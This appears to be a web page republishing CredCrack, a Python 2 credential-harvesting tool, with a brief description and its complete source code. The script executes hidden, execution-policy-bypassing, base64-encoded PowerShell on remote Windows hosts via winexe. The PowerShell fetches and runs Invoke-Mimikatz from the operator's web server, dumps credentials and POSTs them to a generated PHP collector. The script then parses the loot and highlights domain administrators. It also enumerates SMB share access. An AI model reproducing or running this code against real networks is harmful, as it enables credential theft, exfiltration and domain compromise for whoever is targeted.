
CredCrack – A fast and stealthy credential harvester.
CredCrack is a fast and stealthy credential harvester. It exfiltrates credentials recusively in memory and in the clear. Upon completion, CredCrack will parse and output the credentials while identifying any domain administrators obtained. CredCrack also comes with the ability to list and enumerate share access.
The harvester functionality is limited to systems running Windows and Powershell version 2+
Latest Change CredCrack.py:
Anti-lockout feature implemented CredCrack now detects when the supplied credentials return an “NT_STATUS_LOGON_FAILURE” meaning the credentials are wrong. To prevent
an account from being locked out, CredCrack now terminates as soon as it detects bad credentials.
Script :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 |
#!/usr/bin/python # CredCrack - A fast and stealthy credential harvester # This script harvests credentials for any given IP(s) and # notifies one when domain administrator credentials have # been captured. The harvester functionality is limited to # systems running Windows and Powershell version 2+ # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # Author: Jonathan Broche # Email: jb@gojhonny.com # Twitter: @g0jhonny # Version: 1.0 # Date: 2015-08-13 import subprocess, os, argparse, time, datetime, socket, base64, threading, Queue, hashlib, binascii, signal, sys, getpass from shlex import split from shutil import rmtree, copy harvested_hosts = [] class colors: lightblue = "\033[1;36m" lightgrey = "\033[0;37m" blue = "\033[1;34m" normal = "\033[0;00m" red = "\033[1;31m" yellow = "\033[1;33m" white = "\033[1;37m" green = "\033[1;32m" class LoginFailure(Exception): pass #----------------------------------------# # SETUP # #----------------------------------------# def setup(lhost): print "{}[*]{} Setting up the stage".format(colors.blue, colors.normal) if not os.path.exists('/var/www/Invoke-Mimikatz.ps1'): print "{}[!]{} Dependency not met. Please download Invoke-Mimikatz.ps1 and store it in /var/www".format(colors.red, colors.normal) print "{}[!]{} wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1\n".format(colors.red, colors.normal) return False funps = """ IEX (New-Object Net.WebClient).DownloadString('http://{lh}/Invoke-Mimikatz.ps1'); $creds = Invoke-Mimikatz -DumpCreds; $request = [System.Net.WebRequest]::Create('http://{lh}/creds.php'); $request.Method = "POST"; $request.ContentType = "application/x-www-form-urlencoded"; $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write( $bytes, 0, $bytes.Length ); $requestStream.Close(); $request.GetResponse(); """.format(lh=lhost) credsphp = """ <?php $file = '/tmp/CCloot/'.$_SERVER['REMOTE_ADDR']; $post_body = file_get_contents('php://input'); printf('putting contents into '.$file); file_put_contents($file, $post_body); ?> """ with open ('/var/www/creds.php', 'w') as f: f.write(credsphp) with open ('/var/www/fun.ps1', 'w') as f: f.write(funps) if not os.path.exists('/tmp/CCloot'): os.makedirs('/tmp/CCloot') os.chmod('/tmp/CCloot', 0707) try: apache_status = subprocess.check_output(split("ps -A")) if 'apache2' not in apache_status: subprocess.Popen(split('service apache2 start'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE) return True except Exception as e: print "{}[!]{} Error trying to start Apache. {}".format(colors.red, colors.normal, e) return False #----------------------------------------# # VALIDATE IP # #----------------------------------------# def validate(rhost): try: print "{}[*]{} Validating {}".format(colors.blue, colors.normal, rhost) if socket.inet_aton(rhost): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.5) s.connect((rhost, 445)) #test if 445 is open on the remote host s.close() return True except socket.error as e: print "{}[!]{} Unable to connect to {}".format(colors.red, colors.normal, rhost) return False #----------------------------------------# # ENUM SHARE ACCESS # #----------------------------------------# def enum_shares(q, username, password, domain): lock = threading.Lock() try: while True: with lock: os = '' shares, endshares = [], [] rhost = q.get() #obtain available shares process = subprocess.Popen(split("smbclient -L //{} -U '{}/{}%{}'".format(rhost, domain, username, password)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE) for line in filter(None, process.communicate()[0].split('\n')): share = line.strip('\t') if 'os=' in share.lower(): os = share.split(']')[1][5:] #operating system else: if "Connection to" in share or "NetBIOS" in share or "None" in share or "------" in share: #filter bad lines pass else: for item in share.split(' '): if 'Printer' not in item or 'IPC' not in item and '' not in item: #no printer or ipc shares if 'Disk' in item: es = ' '.join(share.split(' ')[:share.split(' ').index(item)]).strip() if es not in shares: shares.append(es) #test share accessibility for share in shares: process = subprocess.Popen(split("smbclient //{}/'{}' -U '{}/{}%{}' -c dir".format(rhost, share, domain, username, password)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE) if [item for item in filter(None, process.communicate()[0].split('\n')) if "NT_STATUS" in item]: #if NT_STATUS in response => closed share/error endshares.append(" CLOSED \\\\{}\\{} ".format(rhost, share)) else: endshares.append(" {}OPEN \\\\{}\\{}{} ".format(colors.lightgrey, rhost, share, colors.normal)) if endshares: print "\n " + "-" * 65 + "\n " + colors.normal + "{} - {} \n ".format(rhost, os) + "-" * 65 + "\n " for share in endshares: print share else: print "{}[!]{} No shares to list on {}. Ensure the correct password was used.".format(colors.red, colors.normal, rhost) q.task_done() except Exception as e: print "{}[!]{} Error listing shares on {}: {}".format(colors.red, colors.normal, rhost, e) q.task_done() #----------------------------------------# # GET DOMAIN ADMINS # #----------------------------------------# def get_das(rhost, username, password, domain): das = [] try: print "{}[*]{} Querying domain admin group from {}".format(colors.blue, colors.normal, rhost.rstrip()) process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c net group \"Domain Admins\" /domain'".format(rhost, domain, username, password)), stderr=subprocess.PIPE, stdout=subprocess.PIPE) da_output = process.stdout.read() error = process.stderr.read() if error and "NT_STATUS_LOGON_FAILURE" in error: return "NT_STATUS_LOGON_FAILURE" else: for line in da_output.split('\n')[8:]: if "The command completed" in line: pass else: for da in line.strip().split(): if da: das.append(da) return das except Exception as e: print "{}[!]{} Unable to reach to {}".format(colors.red, colors.normal, rhost) return False #----------------------------------------# # HARVEST CREDENTIALS # #----------------------------------------# def harvest(q, username, password, domain, lhost): lock = threading.Lock() try: while True: rhost = q.get() if rhost in harvested_hosts: q.task_done() with lock: print "{}[*]{} Harvesting credentials from {}".format(colors.blue, colors.normal, rhost) harvested_hosts.append(rhost) encoded_cmd = base64.b64encode("IEX (New-Object Net.WebClient).DownloadString('http://{}/fun.ps1')".format(lhost).encode('utf_16_le')) process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c echo . | powershell.exe -Version 2 -w hidden -Exec Bypass -noni -nop -enc {}'".format(rhost, domain, username, password, encoded_cmd)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE) timeout = 15 while timeout > 0: status = process.poll() if status is None: time.sleep(0.1) timeout -=0.1 else: break if timeout <=0: print "{}[!]{} Timed out harvesting credentials from {}".format(colors.red, colors.normal, rhost) process.terminate() q.task_done() except subprocess.CalledProcessError as e: print "{}[!]{} Error harvesting credentials from {}".format(colors.red, colors.normal, rhost) q.task_done() except OSError: pass #----------------------------------------# # PARSE LOOT # #----------------------------------------# def parse_loot(): files = next(os.walk('/tmp/CCloot'))[2] credentials = [] for fi in files: #parse all files within the CCloot directory with open (os.path.join('/tmp/CCloot', fi)) as f: lines = f.readlines() for i in [x for x, y in enumerate(lines) if 'wdigest' in y]: if 'username' in lines[i+1].lower() and not any(x in lines[i+1].lower() for x in ['$', '(null)']): #if username does not have $ or null if lines[i+3][15:].rstrip() != '(null)': #if password is not null domain, user, pw = lines[i+2][15:].rstrip(), lines[i+1][15:].rstrip(), lines[i+3][15:].rstrip() if [u for r, d, u, p in credentials if user in u]: #omitting duplicate credentials pass else: credentials.append((fi, domain, user, pw)) #add credentials return credentials #----------------------------------------# # OUTPUT # #----------------------------------------# def output(credentials, das): da_counter = 0 try: if credentials: print """\n {lg}The loot has arrived...{y} __________ /\____;;___\ | / / `. ())oo() . |\(%()*^^()^\ %| |-%-------| % \ | % )) | % \|%________| {n}""".format(lg=colors.lightgrey, y=colors.yellow, n=colors.normal) with open ('/tmp/CCloot/l00t', 'w') as f: f.write("\n " + "-" * 69 + "\n " + " CredCrack Loot \n " + "-" * 69 + "\n\n") for cred in credentials: if cred[2] in das: #d = domain, #u = username, #p = password print "{y}[*] Host: {r} Domain: {d} User: {u} Password: {p}{n}".format(y=colors.yellow, r=cred[0], d=cred[1], u=cred[2], p=cred[3], n=colors.normal) f.write("[*] Host: {r} Domain: {d} User: {u} Password: {p} {y}-- Domain Admin{n}\n".format(r=cred[0], d=cred[1], u=cred[2], p=cred[3], y=colors.yellow, n=colors.normal)) da_counter+=1 else: print "{w}[*]{lg} Host: {r} Domain: {d} User: {u} Password: {p}{n}".format(w=colors.white, lg=colors.lightgrey, r=cred[0], d=cred[1], u=cred[2], p=cred[3], n=colors.normal) f.write("[*] Host: {r} Domain: {d} User: {u} Password: {p}\n".format(r=cred[0], d=cred[1], u=cred[2], p=cred[3])) if da_counter: print "\n {y}{dac}{n} domain administrators found and highlighted in yellow above!\n".format(y=colors.yellow, dac=da_counter, n=colors.normal) return True else: print "\n{red}[!]{n} No Loot?! Argh!\n".format(red=colors.red, n=colors.normal) return False except Exception as e: print '{red}[!]{n} Error outputting loot. {exc}'.format(red=colors.red, n=colors.normal, exc=e) #----------------------------------------# # CLEAN UP # #----------------------------------------# def clean_up(flag, stime): print "{}[*]{} Cleaning up".format(colors.blue, colors.normal) try: if flag: #script completed successfully os.remove(os.path.join('/var/www', 'creds.php')) os.remove(os.path.join('/var/www', 'fun.ps1')) if os.path.exists(os.path.join(os.getenv('HOME'), 'CCloot')): dirname = os.path.join(os.getenv('HOME'), 'CCloot_{}'.format(datetime.datetime.now().strftime('%Y%m%d_%H:%M:%S'))) os.rename('/tmp/CCloot', dirname ) os.chmod(dirname, 0700) else: dirname = os.path.join(os.getenv('HOME'), 'CCloot') os.rename('/tmp/CCloot', dirname) os.chmod(dirname, 0700) subprocess.Popen(split('service apache2 stop'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE) print "{}[*]{} Done! Loot may be found under {} folder{}".format(colors.green, colors.white, dirname, colors.normal) print "{}[*]{} Completed in {:.1f}s\n".format(colors.blue, colors.normal, time.time()- stime) else: #script did not complete successfully subprocess.Popen(split('service apache2 stop'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE) if os.path.exists('/tmp/CCloot'): rmtree('/tmp/CCloot') except Exception as e: print "{}[!]{} Error cleaning up. {}".format(colors.red, colors.normal, e) #----------------------------------------# # MAIN # #----------------------------------------# def main(): example = "Examples: \n\n./credcrack.py -d acme -u bob -f hosts -es\n./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20" parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny)", epilog=example) required = parser.add_argument_group("Required") required.add_argument('-d', '--domain', required=True, help='Domain or Workstation') required.add_argument('-u', '--user', required=True, help='Domain username') action = parser.add_mutually_exclusive_group(required=True) action.add_argument('-f', '--file', help='File containing IPs to harvest creds from. One IP per line.') action.add_argument('-r', '--rhost', help='Remote host IP to harvest creds from.') parser.add_argument('-es', '--enumshares', help='Examine share access on the remote IP(s)', action='store_true') parser.add_argument('-l', '--lhost', help='Local host IP to launch scans from.') parser.add_argument('-t', '--threads', help='Number of threads (default: 10)', default=10, type=int) args = parser.parse_args() args.passwd = getpass.getpass() print "\n " + "-" * 69 + "\n " + colors.white + " CredCrack v1.0 by Jonathan Broche (@g0jhonny)\n " + colors.normal + "-" * 69 + "\n " stime = time.time() das, credentials, badhost = [], [], [] q = Queue.Queue(maxsize=0) try: if not args.passwd: print "{}[!]{} Please provide a password\n".format(colors.red, colors.normal) return if args.enumshares: if args.rhost: if validate(args.rhost): q.put(args.rhost) elif args.file: with open (args.file) as f: lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())] for line in lines: q.put(line) if q.queue: for i in range(args.threads): worker = threading.Thread(target=enum_shares, args=(q, args.user, args.passwd, args.domain)) worker.setDaemon(True) worker.start() q.join() print "\n{}[*]{} Done! Completed in {:.1f}s\n".format(colors.green, colors.normal, time.time()- stime) else: if args.lhost: if setup(args.lhost): if args.rhost: if validate(args.rhost): das = get_das(args.rhost, args.user, args.passwd, args.domain) if "NT_STATUS_LOGON_FAILURE" in das: raise LoginFailure(args.rhost) q.put(args.rhost) if args.file: with open (args.file) as f: lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())] for line in lines: das = get_das(line, args.user, args.passwd, args.domain) if "NT_STATUS_LOGON_FAILURE" in das: raise LoginFailure(line) elif not das: #put the host on a bad list badhost.append(lines[lines.index(line)]) else: #we got our domain admin list if badhost: #if badhosts, filter before queue for good_ip in [ip for ip in lines if ip not in badhost]: q.put(good_ip) else: #only good hosts? put them in the queue! for good_ip in lines: q.put(good_ip) break if das: for num in range(args.threads): worker = threading.Thread(target=harvest, args=(q, args.user, args.passwd, args.domain, args.lhost)) worker.setDaemon(True) worker.start() q.join() if output(parse_loot(), das): clean_up(True, stime) else: clean_up(False, stime) else: clean_up(False, stime) else: print "{}[!]{} Provide the IP address of the local host [-l]\n".format(colors.red, colors.normal) except (KeyboardInterrupt, SystemExit): print "\n{}[!]{} Ctrl-C detected...shutting down".format(colors.yellow, colors.normal) clean_up(False, stime) except IOError: print "{}[!]{} File: {} does not exist.".format(colors.red, colors.normal, args.file) clean_up(False, stime) except LoginFailure as e: print "{}[!]{} Login Failure on {}, ensure you have entered the correct credentials\n".format(colors.red, colors.normal, e) clean_up(False, stime) if __name__ == '__main__': main() |
Source: https://github.com/gojhonny